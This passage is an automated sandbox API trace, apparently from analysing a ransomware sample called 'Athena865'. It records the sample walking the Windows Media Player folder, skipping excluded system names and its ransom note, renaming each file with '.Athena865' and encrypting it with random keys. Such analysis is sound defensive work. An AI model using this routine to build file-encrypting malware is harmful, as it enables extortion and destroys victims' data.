(lpString1="wmpnscfg.exe", lpString2="..") returned 1 [0041.061] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="windows") returned 1 [0041.061] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="bootmgr") returned 1 [0041.061] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="temp") returned 1 [0041.061] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="pagefile.sys") returned 1 [0041.061] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="boot") returned 1 [0041.061] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="ids.txt") returned 1 [0041.061] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="ntuser.dat") returned 1 [0041.061] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="perflogs") returned 1 [0041.061] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="MSBuild") returned 1 [0041.061] lstrlenW (lpString="wmpnscfg.exe") returned 12 [0041.061] lstrcpyW (in: lpString1=0x241e894, lpString2="wmpnscfg.exe" | out: lpString1="wmpnscfg.exe") returned="wmpnscfg.exe" [0041.061] lstrlenW (lpString="wmpnscfg.exe") returned 12 [0041.061] lstrlenW (lpString="Athena865") returned 9 [0041.061] lstrcmpiW (lpString1="nscfg.exe", lpString2="Athena865") returned 1 [0041.061] lstrlenW (lpString=".dll") returned 4 [0041.061] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2=".dll") returned 1 [0041.061] lstrlenW (lpString=".lnk") returned 4 [0041.061] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2=".lnk") returned 1 [0041.062] lstrlenW (lpString=".ini") returned 4 [0041.062] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2=".ini") returned 1 [0041.062] lstrlenW (lpString=".sys") returned 4 [0041.062] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2=".sys") returned 1 [0041.062] lstrlenW (lpString="wmpnscfg.exe") returned 12 [0041.062] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\wmpnscfg.exe.Athena865") returned 60 [0041.062] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\wmpnscfg.exe" (normalized: "c:\\program files\\windows media player\\wmpnscfg.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\wmpnscfg.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmpnscfg.exe.athena865"), dwFlags=0x1) returned 1 [0041.062] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmpnscfg.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmpnscfg.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0041.063] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=70656) returned 1 [0041.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0041.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0041.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0041.063] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0041.064] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0041.064] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.064] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11700, lpName=0x0) returned 0x17c [0041.065] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11700) returned 0x100000 [0041.068] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0041.069] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0041.069] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0041.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0041.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0041.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0041.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0041.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0041.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0041.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0041.070] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0041.070] CloseHandle (hObject=0x17c) returned 1 [0041.070] CloseHandle (hObject=0x154) returned 1 [0041.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0041.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0041.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0041.073] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66e8341f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x66e8341f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462d2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x87200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".") returned 1 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="..") returned 1 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="windows") returned 1 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="bootmgr") returned 1 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="temp") returned 1 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="pagefile.sys") returned 1 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="boot") returned 1 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="ids.txt") returned 1 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="ntuser.dat") returned 1 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="perflogs") returned 1 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="MSBuild") returned 1 [0041.073] lstrlenW (lpString="wmpnssci.dll") returned 12 [0041.073] lstrcpyW (in: lpString1=0x241e894, lpString2="wmpnssci.dll" | out: lpString1="wmpnssci.dll") returned="wmpnssci.dll" [0041.073] lstrlenW (lpString="wmpnssci.dll") returned 12 [0041.073] lstrlenW (lpString="Athena865") returned 9 [0041.073] lstrcmpiW (lpString1="nssci.dll", lpString2="Athena865") returned 1 [0041.073] lstrlenW (lpString=".dll") returned 4 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".dll") returned 1 [0041.073] lstrlenW (lpString=".lnk") returned 4 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".lnk") returned 1 [0041.073] lstrlenW (lpString=".ini") returned 4 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".ini") returned 1 [0041.073] lstrlenW (lpString=".sys") returned 4 [0041.073] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".sys") returned 1 [0041.073] lstrlenW (lpString="wmpnssci.dll") returned 12 [0041.073] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\wmpnssci.dll.Athena865") returned 60 [0041.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\wmpnssci.dll" (normalized: "c:\\program files\\windows media player\\wmpnssci.dll"), lpNewFileName="C:\\Program Files\\Windows Media Player\\wmpnssci.dll.Athena865" (normalized: "c:\\program files\\windows media player\\wmpnssci.dll.athena865"), dwFlags=0x1) returned 1 [0041.074] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmpnssci.dll.Athena865" (normalized: "c:\\program files\\windows media player\\wmpnssci.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0041.074] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=553472) returned 1 [0041.074] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0041.074] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0041.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0041.075] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0041.075] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0041.075] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.076] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x87500, lpName=0x0) returned 0x17c [0041.077] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x87500) returned 0x2d50000 [0041.097] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0041.097] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0041.097] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0041.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0041.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0041.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0041.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0041.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0041.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0041.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0041.098] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0041.102] CloseHandle (hObject=0x17c) returned 1 [0041.103] CloseHandle (hObject=0x154) returned 1 [0041.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0041.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0041.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0041.112] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff32e2e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x4ff32e2e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462d2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1 [0041.112] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.112] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.112] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".") returned 1 [0041.112] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="..") returned 1 [0041.112] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="windows") returned 1 [0041.112] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="bootmgr") returned 1 [0041.112] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="temp") returned 1 [0041.112] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="pagefile.sys") returned 1 [0041.112] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="boot") returned 1 [0041.112] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="ids.txt") returned 1 [0041.112] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="ntuser.dat") returned 1 [0041.112] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="perflogs") returned 1 [0041.112] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="MSBuild") returned 1 [0041.112] lstrlenW (lpString="WMPNSSUI.dll") returned 12 [0041.112] lstrcpyW (in: lpString1=0x241e894, lpString2="WMPNSSUI.dll" | out: lpString1="WMPNSSUI.dll") returned="WMPNSSUI.dll" [0041.112] lstrlenW (lpString="WMPNSSUI.dll") returned 12 [0041.112] lstrlenW (lpString="Athena865") returned 9 [0041.112] lstrcmpiW (lpString1="NSSUI.dll", lpString2="Athena865") returned 1 [0041.112] lstrlenW (lpString=".dll") returned 4 [0041.112] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".dll") returned 1 [0041.112] lstrlenW (lpString=".lnk") returned 4 [0041.112] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".lnk") returned 1 [0041.112] lstrlenW (lpString=".ini") returned 4 [0041.112] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".ini") returned 1 [0041.112] lstrlenW (lpString=".sys") returned 4 [0041.113] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".sys") returned 1 [0041.113] lstrlenW (lpString="WMPNSSUI.dll") returned 12 [0041.113] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\WMPNSSUI.dll.Athena865") returned 60 [0041.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\WMPNSSUI.dll" (normalized: "c:\\program files\\windows media player\\wmpnssui.dll"), lpNewFileName="C:\\Program Files\\Windows Media Player\\WMPNSSUI.dll.Athena865" (normalized: "c:\\program files\\windows media player\\wmpnssui.dll.athena865"), dwFlags=0x1) returned 1 [0041.113] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\WMPNSSUI.dll.Athena865" (normalized: "c:\\program files\\windows media player\\wmpnssui.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0041.113] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=34816) returned 1 [0041.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0041.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0041.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0041.114] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0041.114] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0041.114] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.115] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b00, lpName=0x0) returned 0x17c [0041.117] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b00) returned 0x100000 [0041.119] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0041.120] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0041.120] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0041.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0041.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0041.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0041.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0041.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0041.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0041.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0041.120] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0041.121] CloseHandle (hObject=0x17c) returned 1 [0041.121] CloseHandle (hObject=0x154) returned 1 [0041.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0041.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0041.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0041.123] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dde8703, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x5dde8703, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe11b420, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1 [0041.123] lstrcmpiW (lpString1="wmprph.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.123] lstrcmpiW (lpString1="wmprph.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.123] lstrcmpiW (lpString1="wmprph.exe", lpString2=".") returned 1 [0041.123] lstrcmpiW (lpString1="wmprph.exe", lpString2="..") returned 1 [0041.123] lstrcmpiW (lpString1="wmprph.exe", lpString2="windows") returned 1 [0041.123] lstrcmpiW (lpString1="wmprph.exe", lpString2="bootmgr") returned 1 [0041.123] lstrcmpiW (lpString1="wmprph.exe", lpString2="temp") returned 1 [0041.123] lstrcmpiW (lpString1="wmprph.exe", lpString2="pagefile.sys") returned 1 [0041.123] lstrcmpiW (lpString1="wmprph.exe", lpString2="boot") returned 1 [0041.123] lstrcmpiW (lpString1="wmprph.exe", lpString2="ids.txt") returned 1 [0041.123] lstrcmpiW (lpString1="wmprph.exe", lpString2="ntuser.dat") returned 1 [0041.123] lstrcmpiW (lpString1="wmprph.exe", lpString2="perflogs") returned 1 [0041.123] lstrcmpiW (lpString1="wmprph.exe", lpString2="MSBuild") returned 1 [0041.123] lstrlenW (lpString="wmprph.exe") returned 10 [0041.123] lstrcpyW (in: lpString1=0x241e894, lpString2="wmprph.exe" | out: lpString1="wmprph.exe") returned="wmprph.exe" [0041.123] lstrlenW (lpString="wmprph.exe") returned 10 [0041.123] lstrlenW (lpString="Athena865") returned 9 [0041.123] lstrcmpiW (lpString1="mprph.exe", lpString2="Athena865") returned 1 [0041.123] lstrlenW (lpString=".dll") returned 4 [0041.123] lstrcmpiW (lpString1="wmprph.exe", lpString2=".dll") returned 1 [0041.123] lstrlenW (lpString=".lnk") returned 4 [0041.123] lstrcmpiW (lpString1="wmprph.exe", lpString2=".lnk") returned 1 [0041.123] lstrlenW (lpString=".ini") returned 4 [0041.124] lstrcmpiW (lpString1="wmprph.exe", lpString2=".ini") returned 1 [0041.124] lstrlenW (lpString=".sys") returned 4 [0041.124] lstrcmpiW (lpString1="wmprph.exe", lpString2=".sys") returned 1 [0041.124] lstrlenW (lpString="wmprph.exe") returned 10 [0041.124] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\wmprph.exe.Athena865") returned 58 [0041.124] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\wmprph.exe" (normalized: "c:\\program files\\windows media player\\wmprph.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\wmprph.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmprph.exe.athena865"), dwFlags=0x1) returned 1 [0041.124] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmprph.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmprph.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0041.124] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=75776) returned 1 [0041.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0041.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0041.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0041.125] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0041.125] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0041.126] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.126] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12b00, lpName=0x0) returned 0x17c [0041.127] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12b00) returned 0x100000 [0041.130] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0041.131] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0041.131] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0041.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0041.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0041.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0041.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0041.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0041.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0041.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0041.132] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0041.133] CloseHandle (hObject=0x17c) returned 1 [0041.133] CloseHandle (hObject=0x154) returned 1 [0041.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0041.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0041.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0041.135] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f318ba, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f318ba, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f318ba, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1 [0041.135] lstrcmpiW (lpString1="wmpshare.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.135] lstrcmpiW (lpString1="wmpshare.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.135] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".") returned 1 [0041.135] lstrcmpiW (lpString1="wmpshare.exe", lpString2="..") returned 1 [0041.135] lstrcmpiW (lpString1="wmpshare.exe", lpString2="windows") returned 1 [0041.135] lstrcmpiW (lpString1="wmpshare.exe", lpString2="bootmgr") returned 1 [0041.135] lstrcmpiW (lpString1="wmpshare.exe", lpString2="temp") returned 1 [0041.135] lstrcmpiW (lpString1="wmpshare.exe", lpString2="pagefile.sys") returned 1 [0041.135] lstrcmpiW (lpString1="wmpshare.exe", lpString2="boot") returned 1 [0041.135] lstrcmpiW (lpString1="wmpshare.exe", lpString2="ids.txt") returned 1 [0041.135] lstrcmpiW (lpString1="wmpshare.exe", lpString2="ntuser.dat") returned 1 [0041.135] lstrcmpiW (lpString1="wmpshare.exe", lpString2="perflogs") returned 1 [0041.135] 